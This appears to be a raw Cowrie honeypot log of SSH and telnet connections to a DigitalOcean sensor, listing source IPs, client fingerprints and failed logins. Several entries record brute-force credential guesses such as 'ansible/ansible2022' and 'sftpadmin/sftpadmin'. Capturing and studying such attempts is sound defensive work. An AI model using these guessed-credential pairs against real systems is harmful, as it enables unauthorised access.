{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50316,"dst_ip":"159.203.135.109","dst_port":22,"session":"12c445bf4d22","protocol":"ssh","message":"New connection: 159.203.92.129:50316 (159.203.135.109:22) [session: 12c445bf4d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:33.231119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:33.235917Z","src_ip":"159.203.92.129","session":"12c445bf4d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:33.240394Z","src_ip":"159.203.92.129","session":"12c445bf4d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2021","message":"login attempt [ansible/ansible2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:33.251295Z","src_ip":"159.203.92.129","session":"12c445bf4d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:34.258329Z","src_ip":"159.203.92.129","session":"12c445bf4d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.943048238754272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:54.747501Z","src_ip":"103.157.135.60","session":"098e200540e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":55890,"dst_ip":"10.17.0.5","dst_port":23,"session":"8439ffca19bc","protocol":"telnet","message":"New connection: 103.157.135.60:55890 (10.17.0.5:23) [session: 8439ffca19bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:54.888708Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39882,"dst_ip":"10.17.0.5","dst_port":23,"session":"544ee8ad3614","protocol":"telnet","message":"New connection: 139.162.207.207:39882 (10.17.0.5:23) [session: 544ee8ad3614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:58:57.768209Z"}
{"eventid":"cowrie.session.closed","duration":120.00197005271912,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:01.123211Z","src_ip":"92.52.131.58","session":"17e6b845274a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.52.131.58","src_port":58416,"dst_ip":"10.17.0.5","dst_port":23,"session":"84e0b479e7cd","protocol":"telnet","message":"New connection: 92.52.131.58:58416 (10.17.0.5:23) [session: 84e0b479e7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:01.862481Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":44120,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb36da8c711","protocol":"telnet","message":"New connection: 103.157.135.60:44120 (10.17.0.5:23) [session: efb36da8c711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:03.776947Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51208,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c18b0878d2e","protocol":"telnet","message":"New connection: 103.157.135.60:51208 (10.17.0.5:23) [session: 2c18b0878d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:07.936628Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38602,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b73f6e96e2e","protocol":"ssh","message":"New connection: 159.203.92.129:38602 (159.203.135.109:22) [session: 5b73f6e96e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:16.514146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:16.518666Z","src_ip":"159.203.92.129","session":"5b73f6e96e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:16.523092Z","src_ip":"159.203.92.129","session":"5b73f6e96e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2022","message":"login attempt [ansible/ansible2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:16.539042Z","src_ip":"159.203.92.129","session":"5b73f6e96e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":33210,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aa1eafbe0c6","protocol":"telnet","message":"New connection: 103.157.135.60:33210 (10.17.0.5:23) [session: 2aa1eafbe0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:16.793437Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:17.544592Z","src_ip":"159.203.92.129","session":"5b73f6e96e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8748836517334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:25.763473Z","src_ip":"103.157.135.60","session":"8439ffca19bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94219446182251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:34.719021Z","src_ip":"103.157.135.60","session":"efb36da8c711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.77584743499756,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:38.543930Z","src_ip":"139.162.207.207","session":"544ee8ad3614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756110668182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:38.692644Z","src_ip":"103.157.135.60","session":"2c18b0878d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":48632,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b581273f319","protocol":"ssh","message":"New connection: 37.143.61.130:48632 (159.203.135.109:22) [session: 0b581273f319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:41.786686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:41.883307Z","src_ip":"37.143.61.130","session":"0b581273f319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:41.995232Z","src_ip":"37.143.61.130","session":"0b581273f319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpadmin","password":"sftpadmin","message":"login attempt [sftpadmin/sftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:43.086222Z","src_ip":"37.143.61.130","session":"0b581273f319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:44.203655Z","src_ip":"37.143.61.130","session":"0b581273f319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54994,"dst_ip":"10.17.0.5","dst_port":23,"session":"088ec743ee94","protocol":"telnet","message":"New connection: 139.162.207.207:54994 (10.17.0.5:23) [session: 088ec743ee94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:45.375918Z"}
{"eventid":"cowrie.session.closed","duration":30.878767490386963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:47.672057Z","src_ip":"103.157.135.60","session":"2aa1eafbe0c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.122.147.49","src_port":45072,"dst_ip":"159.203.135.109","dst_port":22,"session":"eef98055e9ff","protocol":"ssh","message":"New connection: 118.122.147.49:45072 (159.203.135.109:22) [session: eef98055e9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:48.035257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:48.039784Z","src_ip":"118.122.147.49","session":"eef98055e9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:48.296130Z","src_ip":"118.122.147.49","session":"eef98055e9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"root","message":"login attempt [test1/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:49.364337Z","src_ip":"118.122.147.49","session":"eef98055e9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:50.623626Z","src_ip":"118.122.147.49","session":"eef98055e9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49212,"dst_ip":"10.17.0.5","dst_port":23,"session":"5899af8d902f","protocol":"telnet","message":"New connection: 103.157.135.60:49212 (10.17.0.5:23) [session: 5899af8d902f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:55.401418Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":59926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8f65df63127","protocol":"ssh","message":"New connection: 80.94.92.182:59926 (10.17.0.5:22) [session: e8f65df63127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:58.951907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:59.039798Z","src_ip":"80.94.92.182","session":"e8f65df63127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:59.213513Z","src_ip":"80.94.92.182","session":"e8f65df63127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34566,"dst_ip":"159.203.135.109","dst_port":22,"session":"860aee1a97a5","protocol":"ssh","message":"New connection: 159.203.92.129:34566 (159.203.135.109:22) [session: 860aee1a97a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:59.960387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:59.964756Z","src_ip":"159.203.92.129","session":"860aee1a97a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:59.969154Z","src_ip":"159.203.92.129","session":"860aee1a97a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible2023","message":"login attempt [ansible/ansible2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:59:59.979954Z","src_ip":"159.203.92.129","session":"860aee1a97a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operation","password":"operation","message":"login attempt [operation/operation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:00.234424Z","src_ip":"80.94.92.182","session":"e8f65df63127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:00.985221Z","src_ip":"159.203.92.129","session":"860aee1a97a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:01.516865Z","src_ip":"80.94.92.182","session":"e8f65df63127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.75485157966614,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:26.130527Z","src_ip":"139.162.207.207","session":"088ec743ee94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.298076391220093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:26.699380Z","src_ip":"103.157.135.60","session":"5899af8d902f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":32808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40e8bfcb7fe","protocol":"ssh","message":"New connection: 156.227.233.77:32808 (159.203.135.109:22) [session: d40e8bfcb7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:39.007953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:00:39.013174Z","src_ip":"156.227.233.77","session":"d40e8bfcb7fe","protocol":"ssh"}
